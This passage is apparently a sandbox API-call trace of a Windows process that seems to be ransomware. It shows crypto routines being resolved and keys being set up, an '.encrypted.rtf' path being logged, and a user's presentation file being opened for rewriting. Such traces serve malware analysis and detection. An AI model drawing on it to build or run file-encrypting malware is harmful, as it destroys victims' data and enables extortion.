wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.224] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.225] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.225] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.225] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.225] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.225] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.226] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.226] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.226] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.226] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.226] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.226] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.226] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.226] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.226] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.226] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.226] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.227] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.228] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.228] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.228] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.228] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.228] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.228] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.228] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.228] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.228] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2984) returned 1 [0024.228] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.228] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.228] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.228] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xba8, lpOverlapped=0x0) returned 1 [0024.228] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.228] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xba8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.228] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2984) returned 1 [0024.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf\r\n", cchWideChar=82, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 82 [0024.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf\r\n", cchWideChar=82, lpMultiByteStr=0xe8f406a430, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf\r\n", lpUsedDefaultChar=0x0) returned 82 [0024.229] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4062aa0*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062aa0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x51, lpOverlapped=0x0) returned 1 [0024.229] CloseHandle (hObject=0x1fc) returned 1 [0024.230] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.230] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.230] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.230] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.230] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.230] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.230] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.231] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.231] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41787a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.232] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41787a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.232] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.pptx", cchWideChar=80, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 80 [0024.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.pptx", cchWideChar=80, lpMultiByteStr=0xe8f40698f0, cbMultiByte=80, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.pptx", lpUsedDefaultChar=0x0) returned 80 [0024.232] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\3 ljxnivpnpfouwlcih-.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=80, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0024.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=80, lpWideCharStr=0xe8f416dee0, cchWideChar=80 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.pptx") returned 80 [0024.233] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.233] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.233] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.233] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.234] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.234] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.234] CloseHandle (hObject=0x1fc) returned 1 [0024.234] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.234] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.234] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.234] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.234] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.234] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.234] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.234] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.234] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.235] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.235] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.235] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.235] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.235] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.235] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.236] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.236] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.236] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.236] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f406a550) returned 1 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.236] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.236] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.237] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.237] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.237] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.237] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 